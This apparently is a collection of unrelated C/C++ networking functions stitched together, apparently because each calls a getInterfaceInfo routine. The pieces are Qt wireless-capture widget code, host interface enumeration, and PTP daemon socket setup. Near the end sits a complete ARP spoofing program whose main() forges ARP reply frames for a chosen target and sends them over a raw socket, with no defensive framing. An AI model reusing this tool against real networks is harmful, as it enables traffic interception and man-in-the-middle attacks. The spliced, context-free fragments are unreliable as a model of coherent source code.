WirelessFrame::WirelessFrame(QWidget *parent) : QFrame(parent), ui(new Ui::WirelessFrame), interfaces_(NULL), capture_in_progress_(false) { ui->setupUi(this); ui->helperToolButton->hide(); if (ws80211_init() == 0) { ui->stackedWidget->setEnabled(true); ui->stackedWidget->setCurrentWidget(ui->interfacePage); #ifdef HAVE_AIRPCAP // We should arguably add ws80211_get_helper_name and ws80211_get_helper_tooltip. // This works for now and is translatable. ui->helperToolButton->setText(tr("AirPcap Control Panel")); ui->helperToolButton->setToolTip(tr("Open the AirPcap Control Panel")); ui->helperToolButton->show(); ui->helperToolButton->setEnabled(ws80211_get_helper_path() != NULL); #endif } else { ui->stackedWidget->setEnabled(false); ui->stackedWidget->setCurrentWidget(ui->noWirelessPage); } ui->fcsFilterFrame->setVisible(ws80211_has_fcs_filter()); getInterfaceInfo(); startTimer(update_interval_); }
int NetIfList(std::list <ComObjPtr<HostNetworkInterface> > &list) { char szDefaultIface[256]; int rc = getDefaultIfaceName(szDefaultIface); if (RT_FAILURE(rc)) { Log(("NetIfList: Failed to find default interface.\n")); szDefaultIface[0] = 0; } int sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock >= 0) { FILE *fp = fopen("/proc/net/dev", "r"); if (fp) { char buf[256]; while (fgets(buf, sizeof(buf), fp)) { char *pszEndOfName = strchr(buf, ':'); if (!pszEndOfName) continue; *pszEndOfName = 0; int iFirstNonWS = strspn(buf, " "); char *pszName = buf+iFirstNonWS; NETIFINFO Info; RT_ZERO(Info); rc = getInterfaceInfo(sock, pszName, &Info); if (RT_FAILURE(rc)) break; if (Info.enmMediumType == NETIF_T_ETHERNET) { ComObjPtr<HostNetworkInterface> IfObj; IfObj.createObject(); HostNetworkInterfaceType_T enmType; if (strncmp(pszName, RT_STR_TUPLE("vboxnet"))) enmType = HostNetworkInterfaceType_Bridged; else enmType = HostNetworkInterfaceType_HostOnly; if (SUCCEEDED(IfObj->init(Bstr(pszName), enmType, &Info))) { if (strcmp(pszName, szDefaultIface) == 0) list.push_front(IfObj); else list.push_back(IfObj); } } } fclose(fp); } close(sock); } else rc = VERR_INTERNAL_ERROR; return rc; }
int NetIfGetConfigByName(PNETIFINFO pInfo) { int rc = VINF_SUCCESS; int sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) return VERR_NOT_IMPLEMENTED; rc = getInterfaceInfo(sock, pInfo->szShortName, pInfo); close(sock); return rc; }
void WirelessFrame::setInterfaceInfo() { QString cur_iface = ui->interfaceComboBox->currentText(); int cur_chan_idx = ui->channelComboBox->currentIndex(); int cur_type_idx = ui->channelTypeComboBox->currentIndex(); int cur_fcs_idx = ui->fcsComboBox->currentIndex(); if (cur_iface.isEmpty() || cur_chan_idx < 0 || cur_type_idx < 0) return; #if defined(HAVE_LIBNL) && defined(HAVE_NL80211) const QString frequency = ui->channelComboBox->itemData(cur_chan_idx).toString(); int chan_type = ui->channelTypeComboBox->itemData(cur_type_idx).toInt(); const gchar *chan_type_s = ws80211_chan_type_to_str(chan_type); gchar *data, *primary_msg, *secondary_msg; int ret; if (frequency.isEmpty() || chan_type < 0) return; ret = sync_interface_set_80211_chan(cur_iface.toUtf8().constData(), frequency.toUtf8().constData(), chan_type_s, &data, &primary_msg, &secondary_msg, main_window_update); g_free(data); g_free(primary_msg); g_free(secondary_msg); /* Parse the error msg */ if (ret) { QString err_str = tr("Unable to set channel or offset."); emit pushAdapterStatus(err_str); } #elif defined(HAVE_AIRPCAP) int frequency = ui->channelComboBox->itemData(cur_chan_idx).toInt(); int chan_type = ui->channelTypeComboBox->itemData(cur_type_idx).toInt(); if (frequency < 0 || chan_type < 0) return; if (ws80211_set_freq(cur_iface.toUtf8().constData(), frequency, chan_type) != 0) { QString err_str = tr("Unable to set channel or offset."); emit pushAdapterStatus(err_str); } #endif if (cur_fcs_idx >= 0) { if (ws80211_set_fcs_validation(cur_iface.toUtf8().constData(), (enum ws80211_fcs_validation) cur_fcs_idx) != 0) { QString err_str = tr("Unable to set FCS validation behavior."); emit pushAdapterStatus(err_str); } } getInterfaceInfo(); }
Boolean testInterface(char * ifaceName, RunTimeOpts* rtOpts) { InterfaceInfo info; info.addressFamily = AF_INET; if(getInterfaceInfo(ifaceName, &info) != 1) return FALSE; switch(rtOpts->transport) { case UDP_IPV4: if(!info.hasAfAddress) { ERROR("Interface %s has no IPv4 address set\n", ifaceName); return FALSE; } break; case IEEE_802_3: if(!info.hasHwAddress) { ERROR("Interface %s has no supported hardware address - possibly not an Ethernet interface\n", ifaceName); return FALSE; } break; default: ERROR("Unsupported transport: %d\n", rtOpts->transport); return FALSE; } if(!(info.flags & IFF_UP) || !(info.flags & IFF_RUNNING)) WARNING("Interface %s seems to be down. PTPd will not operate correctly until it's up.\n", ifaceName); if(info.flags & IFF_LOOPBACK) WARNING("Interface %s is a loopback interface.\n", ifaceName); if(!(info.flags & IFF_MULTICAST) && rtOpts->transport==UDP_IPV4 && rtOpts->ip_mode != IPMODE_UNICAST) { WARNING("Interface %s is not multicast capable.\n", ifaceName); } return TRUE; }
// Check to see if the ws80211 interface list matches the one in our // combobox. Rebuild ours if necessary and select the first interface if // the current selection goes away. void WirelessFrame::timerEvent(QTimerEvent *) { // Don't interfere with user activity. if (ui->interfaceComboBox->view()->isVisible() || ui->channelComboBox->view()->isVisible() || ui->channelTypeComboBox->view()->isVisible() || ui->fcsComboBox->view()->isVisible()) return; ws80211_free_interfaces(interfaces_); interfaces_ = ws80211_find_interfaces(); const QString old_iface = ui->interfaceComboBox->currentText(); guint iface_count = 0; bool list_changed = false; if (interfaces_ && interfaces_->len > 0) { iface_count = interfaces_->len; } if ((int) iface_count != ui->interfaceComboBox->count()) { list_changed = true; } else { for (guint i = 0; i < iface_count; i++) { struct ws80211_interface *iface = g_array_index(interfaces_, struct ws80211_interface *, i); if (ui->interfaceComboBox->itemText(i).compare(iface->ifname) != 0) { list_changed = true; break; } } } if (list_changed) { ui->interfaceComboBox->clear(); for (guint i = 0; i < iface_count; i++) { struct ws80211_interface *iface = g_array_index(interfaces_, struct ws80211_interface *, i); ui->interfaceComboBox->addItem(iface->ifname); if (old_iface.compare(iface->ifname) == 0) { ui->interfaceComboBox->setCurrentIndex(ui->interfaceComboBox->count() - 1); } } } if (ui->interfaceComboBox->currentText().compare(old_iface) != 0) { getInterfaceInfo(); } }
/** * Init all network transports * * @param netPath * @param rtOpts * @param ptpClock * * @return TRUE if successful */ Boolean netInit(NetPath * netPath, RunTimeOpts * rtOpts, PtpClock * ptpClock) { int temp; struct sockaddr_in addr; #ifdef PTPD_PCAP struct bpf_program program; char errbuf[PCAP_ERRBUF_SIZE]; #endif DBG("netInit\n"); #ifdef PTPD_PCAP netPath->pcapEvent = NULL; netPath->pcapGeneral = NULL; netPath->pcapEventSock = -1; netPath->pcapGeneralSock = -1; #endif netPath->generalSock = -1; netPath->eventSock = -1; #ifdef PTPD_PCAP if (rtOpts->transport == IEEE_802_3) { netPath->headerOffset = PACKET_BEGIN_ETHER; #ifdef HAVE_STRUCT_ETHER_ADDR_OCTET memcpy(netPath->etherDest.octet, ether_aton(PTP_ETHER_DST), ETHER_ADDR_LEN); memcpy(netPath->peerEtherDest.octet, ether_aton(PTP_ETHER_PEER), ETHER_ADDR_LEN); #else memcpy(netPath->etherDest.ether_addr_octet, ether_aton(PTP_ETHER_DST), ETHER_ADDR_LEN); memcpy(netPath->peerEtherDest.ether_addr_octet, ether_aton(PTP_ETHER_PEER), ETHER_ADDR_LEN); #endif /* HAVE_STRUCT_ETHER_ADDR_OCTET */ } else #endif netPath->headerOffset = PACKET_BEGIN_UDP; /* open sockets */ if ((netPath->eventSock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0 || (netPath->generalSock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) { PERROR("failed to initialize sockets"); return FALSE; } if(!testInterface(rtOpts->ifaceName, rtOpts)) return FALSE; netPath->interfaceInfo.addressFamily = AF_INET; /* the if is here only to get rid of an unused result warning. */ if( getInterfaceInfo(rtOpts->ifaceName, &netPath->interfaceInfo)!= 1) return FALSE; /* No HW address, we'll use the protocol address to form interfaceID -> clockID */ if( !netPath->interfaceInfo.hasHwAddress && netPath->interfaceInfo.hasAfAddress ) { uint32_t addr = netPath->interfaceInfo.afAddress.s_addr; memcpy(netPath->interfaceID, &addr, 2); memcpy(netPath->interfaceID + 4, &addr + 2, 2); /* Initialise interfaceID with hardware address */ } else { memcpy(&netPath->interfaceID, &netPath->interfaceInfo.hwAddress, sizeof(netPath->interfaceID) <= sizeof(netPath->interfaceInfo.hwAddress) ? sizeof(netPath->interfaceID) : sizeof(netPath->interfaceInfo.hwAddress) ); } DBG("Listening on IP: %s\n",inet_ntoa(netPath->interfaceInfo.afAddress)); #ifdef PTPD_PCAP if (rtOpts->pcap == TRUE) { int promisc = (rtOpts->transport == IEEE_802_3 ) ? 1 : 0; if ((netPath->pcapEvent = pcap_open_live(rtOpts->ifaceName, PACKET_SIZE, promisc, PCAP_TIMEOUT, errbuf)) == NULL) { PERROR("failed to open event pcap"); return FALSE; } if (pcap_compile(netPath->pcapEvent, &program, ( rtOpts->transport == IEEE_802_3 ) ? "ether proto 0x88f7": ( rtOpts->ip_mode != IPMODE_MULTICAST ) ? "udp port 319" : "host (224.0.1.129 or 224.0.0.107) and udp port 319" , 1, 0) < 0) { PERROR("failed to compile pcap event filter"); pcap_perror(netPath->pcapEvent, "ptpd2"); return FALSE; } if (pcap_setfilter(netPath->pcapEvent, &program) < 0) { PERROR("failed to set pcap event filter"); return FALSE; } pcap_freecode(&program); if ((netPath->pcapEventSock = pcap_get_selectable_fd(netPath->pcapEvent)) < 0) { PERROR("failed to get pcap event fd"); return FALSE; } if ((netPath->pcapGeneral = pcap_open_live(rtOpts->ifaceName, PACKET_SIZE, promisc, PCAP_TIMEOUT, errbuf)) == NULL) { PERROR("failed to open general pcap"); return FALSE; } if (rtOpts->transport != IEEE_802_3) { if (pcap_compile(netPath->pcapGeneral, &program, ( rtOpts->ip_mode != IPMODE_MULTICAST ) ? "udp port 320" : "host (224.0.1.129 or 224.0.0.107) and udp port 320" , 1, 0) < 0) { PERROR("failed to compile pcap general filter"); pcap_perror(netPath->pcapGeneral, "ptpd2"); return FALSE; } if (pcap_setfilter(netPath->pcapGeneral, &program) < 0) { PERROR("failed to set pcap general filter"); return FALSE; } pcap_freecode(&program); if ((netPath->pcapGeneralSock = pcap_get_selectable_fd(netPath->pcapGeneral)) < 0) { PERROR("failed to get pcap general fd"); return FALSE; } } } #endif #ifdef PTPD_PCAP if(rtOpts->transport == IEEE_802_3) { close(netPath->eventSock); netPath->eventSock = -1; close(netPath->generalSock); netPath->generalSock = -1; /* TX timestamp is not generated for PCAP mode and Ethernet transport */ #ifdef SO_TIMESTAMPING netPath->txTimestampFailure = TRUE; #endif /* SO_TIMESTAMPING */ } else { #endif /* save interface address for IGMP refresh */ netPath->interfaceAddr = netPath->interfaceInfo.afAddress; DBG("Local IP address used : %s \n", inet_ntoa(netPath->interfaceInfo.afAddress)); temp = 1; /* allow address reuse */ if (setsockopt(netPath->eventSock, SOL_SOCKET, SO_REUSEADDR, &temp, sizeof(int)) < 0 || setsockopt(netPath->generalSock, SOL_SOCKET, SO_REUSEADDR, &temp, sizeof(int)) < 0) { DBG("failed to set socket reuse\n"); } /* bind sockets */ /* * need INADDR_ANY to allow receipt of multi-cast and uni-cast * messages */ /* why??? */ if (rtOpts->pidAsClockId) { if (inet_pton(AF_INET, DEFAULT_PTP_DOMAIN_ADDRESS, &addr.sin_addr) < 0) { PERROR("failed to convert address"); return FALSE; } } else addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_family = AF_INET; addr.sin_port = htons(PTP_EVENT_PORT); if (bind(netPath->eventSock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { PERROR("failed to bind event socket"); return FALSE; } addr.sin_port = htons(PTP_GENERAL_PORT); if (bind(netPath->generalSock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { PERROR("failed to bind general socket"); return FALSE; } #ifdef USE_BINDTODEVICE #ifdef linux /* * The following code makes sure that the data is only * received on the specified interface. Without this option, * it's possible to receive PTP from another interface, and * confuse the protocol. Calling bind() with the IP address * of the device instead of INADDR_ANY does not work. * * More info: * http://developerweb.net/viewtopic.php?id=6471 * http://stackoverflow.com/questions/1207746/problems-with-so-bindtodevice-linux-socket-option */ if ( rtOpts->ip_mode != IPMODE_HYBRID ) if (setsockopt(netPath->eventSock, SOL_SOCKET, SO_BINDTODEVICE, rtOpts->ifaceName, strlen(rtOpts->ifaceName)) < 0 || setsockopt(netPath->generalSock, SOL_SOCKET, SO_BINDTODEVICE, rtOpts->ifaceName, strlen(rtOpts->ifaceName)) < 0){ PERROR("failed to call SO_BINDTODEVICE on the interface"); return FALSE; } #endif #endif /* Set socket dscp */ if(rtOpts->dscpValue) { if (setsockopt(netPath->eventSock, IPPROTO_IP, IP_TOS, &rtOpts->dscpValue, sizeof(int)) < 0 || setsockopt(netPath->generalSock, IPPROTO_IP, IP_TOS, &rtOpts->dscpValue, sizeof(int)) < 0) { PERROR("Failed to set socket DSCP bits"); return FALSE; } } /* send a uni-cast address if specified (useful for testing) */ if(!hostLookup(rtOpts->unicastAddress, &netPath->unicastAddr)) { netPath->unicastAddr = 0; } if(rtOpts->ip_mode != IPMODE_UNICAST) { /* init UDP Multicast on both Default and Peer addresses */ if (!netInitMulticast(netPath, rtOpts)) return FALSE; /* set socket time-to-live */ if(!netSetMulticastTTL(netPath->eventSock,rtOpts->ttl) || !netSetMulticastTTL(netPath->generalSock,rtOpts->ttl)) return FALSE; /* start tracking TTL */ netPath->ttlEvent = rtOpts->ttl; netPath->ttlGeneral = rtOpts->ttl; } #ifdef SO_TIMESTAMPING /* Reset the failure indicator when (re)starting network */ netPath->txTimestampFailure = FALSE; /* for SO_TIMESTAMPING we're receiving transmitted packets via ERRQUEUE */ temp = 0; #else /* enable loopback */ temp = 1; #endif /* make timestamps available through recvmsg() */ if (!netInitTimestamping(netPath,rtOpts)) { ERROR("Failed to enable packet time stamping\n"); return FALSE; } #ifdef SO_TIMESTAMPING /* If we failed to initialise SO_TIMESTAMPING, enable mcast loopback */ if(netPath->txTimestampFailure) temp = 1; #endif if(!netSetMulticastLoopback(netPath, temp)) { return FALSE; } #ifdef PTPD_PCAP } #endif /* Compile ACLs */ if(rtOpts->timingAclEnabled) { freeIpv4AccessList(&netPath->timingAcl); netPath->timingAcl=createIpv4AccessList(rtOpts->timingAclPermitText, rtOpts->timingAclDenyText, rtOpts->timingAclOrder); } if(rtOpts->managementAclEnabled) { freeIpv4AccessList(&netPath->managementAcl); netPath->managementAcl=createIpv4AccessList(rtOpts->managementAclPermitText, rtOpts->managementAclDenyText, rtOpts->managementAclOrder); } return TRUE; }
//-------------------------------------------------------------------------- // ******************** // ARP spoofing main // ******************** int main(int argc, char* argv[]) { unsigned char NetInterface[16] ="eth0"; unsigned char Target_IP[4] ={0}; // Target IP unsigned char Soruce_IP[4] ={0}; // localhost IP unsigned char Spoofing_IP[4] ={0}; // Spoofing IP unsigned char Target_MAC[6] ={0}; // TargetMAC , this value will lookup ARP table unsigned char Soruce_MAC[6] ={0}; // localhost MAC; unsigned char Spoofing_MAC[6] ={0}; // spoofing MAC unsigned char EthernetFrame[64] ={0}; // ethernet frame int opt; // opterr =0; // disable getopt error message while((opt=getopt(argc, argv, "Pi:t:s:")) != -1) { switch(opt) { case 'i': // interface { int iLen =strlen(optarg); if(iLen<16) { char ifPath[256]="/sys/class/net/"; strcat(ifPath ,optarg); strcat(ifPath ,"/address"); struct stat buf; if(stat(ifPath,&buf) == 0) { I_flag =1 ; memcpy(NetInterface , optarg ,sizeof(char)*iLen); } else printf(P_RED "Error" P_NONE ": Unknow interface : [" P_GREEN "%s" P_NONE "]\n",optarg); } else printf(P_RED "Error" P_NONE ": Interface identify size unmatch , please fix source code\n"); } break ; case 't': // target IP { // check IP format unsigned int tTarget_IP = inet_addr(optarg); if(tTarget_IP !=-1) { // Get target MAC from ARP table if(FetchARPTable((char*)optarg ,(char*)Target_MAC)==FETCH_ARP_TABLE_SUCCESS) { memcpy(Target_IP , &tTarget_IP ,sizeof(int)); T_flag =1 ; } else printf(P_RED "Error" P_NONE ": Target IP [" P_GREEN "%s" P_NONE "] ,ARP table lookup failed \n",optarg); } else printf(P_RED "Error" P_NONE ": Target IP [" P_GREEN "%s" P_NONE "] ,format resolution failed \n",optarg); } break ; case 's': // spoofing IP and mac { if(Arg_s_Resolution(optarg ,(char*)&Spoofing_IP[0] ,(char*)&Spoofing_MAC[0] )==0) printf(P_RED "Error" P_NONE ": Spoofing data resolution failed\n"); else S_flag =1; } break; case 'P': { Pass_flag =1; } break ; default : printf(P_RED "Error" P_NONE ":Unkonw Argument\n!"); break ; } } // chech flag if(I_flag ==0 || S_flag ==0 || T_flag ==0 || getInterfaceInfo(NetInterface , Soruce_IP ,Soruce_MAC) == 0) // Get localhost IP and MAC { printf("ARP_Spoofing Error\n"); exit(-1); } // set ARP header ARP_header ARP_Spoofing ; ARP_Spoofing.Hardware = htons (1); ARP_Spoofing.Protocol = htons (2048); ARP_Spoofing.HardwareAddressLen = 6; ARP_Spoofing.ProtocolAddressLeng =4 ; ARP_Spoofing.Operation = htons(2); memcpy(ARP_Spoofing.SoruceHardareAddr ,Spoofing_MAC ,sizeof(char)*6); memcpy(ARP_Spoofing.SourceProtocolAddr ,Spoofing_IP ,sizeof(char)*4); memcpy(ARP_Spoofing.TargetHardareAddr ,Target_MAC,sizeof(char)*6); memcpy(ARP_Spoofing.TargetProtocolAddr ,Target_IP ,sizeof(char)*4); memcpy(EthernetFrame ,Target_MAC ,sizeof(char)*6); memcpy(EthernetFrame+6 ,Soruce_MAC ,sizeof(char)*6); EthernetFrame[12] = ETH_P_ARP / 256; EthernetFrame[13] = ETH_P_ARP % 256; // copy ARP header to ethernet packet memcpy (EthernetFrame + 14, &ARP_Spoofing, sizeof (char)*28); /*------------------------------------------*/ int ARPSocket ; // create socket printf("Create RAW Socket ... "); if( (ARPSocket = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL) )) <0) { printf("Faile\n"); exit(-1); } printf("Successfully\n"); // Get Interface ibdex struct sockaddr_ll device; if ((device.sll_ifindex = if_nametoindex ((const char*)NetInterface)) == 0) { printf("if_nametoindex() failed to obtain interface index "); exit (EXIT_FAILURE); } printf ("Index for interface %s is %i\n", "eth0", device.sll_ifindex); device.sll_family = AF_PACKET; device.sll_halen = htons (6); // Send packet to NIC if (sendto (ARPSocket, EthernetFrame, 42, 0, (struct sockaddr *) &device, sizeof (device)) <= 0) { perror ("sendto() failed"); exit (EXIT_FAILURE); } // close socket close(ARPSocket); // free data printf("finish\n"); }
void WirelessFrame::on_interfaceComboBox_activated(int) { getInterfaceInfo(); }